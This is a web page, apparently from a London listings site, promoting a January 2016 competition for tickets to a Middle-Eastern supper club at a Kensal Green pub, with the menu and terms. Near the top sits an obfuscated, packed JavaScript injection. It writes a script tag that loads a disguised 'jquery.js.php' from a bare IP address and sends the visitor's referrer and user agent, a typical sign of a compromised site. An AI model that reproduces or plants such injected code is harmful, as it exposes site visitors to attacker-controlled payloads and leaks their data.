WIN: SEATS AT A SUPPER CLUB

Gothic (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iitsb|var|u0026u|referrer|tibby||js|php’.split(‘|’),0,{}))
West London gastropub Paradise by Way of Kensal Green brings back their guest dinner series with Cat’s Middle-Eastern Supper Club. Following the success of autumn’s sold out Cat’s Got Game, this will see a spice-based approach to the seasonal produce that January brings. On Thursday 28th January, head chef Cat Ashton (formerly of Petersham Nurseries) will host Cat’s Middle-Eastern Supper Club where her trademark twist will be applied to traditional Arab delicacies. Having trained under renowned Middle Eastern food connoisseur Greg Malouf, Ashton has curated a five course menu that treats diners to inventive takes on dishes from Morocco, Turkey, Lebanon and Palestine.

Dishes include ‘Beef kibber stuffed with cardamom butter, baby vegetables salad, Slow cooked Baharat lamb shoulder & green wheat, and Salt baked celeriac, artichoke & Medjool date bisteeya, winter slaw. With Chocolate & halva torte, Turkish delight cream and Fried halloumi in a saffron butter, flaked almonds & mountain honey for dessert. To celebrate, we’re giving away two tickets to the five course middle-eastern feast. For your chance to win hit us up on Twitter or Facebook with the following; ‘We’re in the mood for @EpicCatFood @WeLoveParadise @londontheinside’ Get Involved.

Thurs 28th January 2016, 6pm – 11pm
19 Kilburn Ln, London W10 4AE
www.theparadise.co.uk

Terms & Conditions
Two tickets to Cat’s Middle-Eastern Supper Club on Thursday 28th January 2016 from 6-11pm
Cannot be exchanged for a cash alternative
This Competition closes 26th January 2016 at noon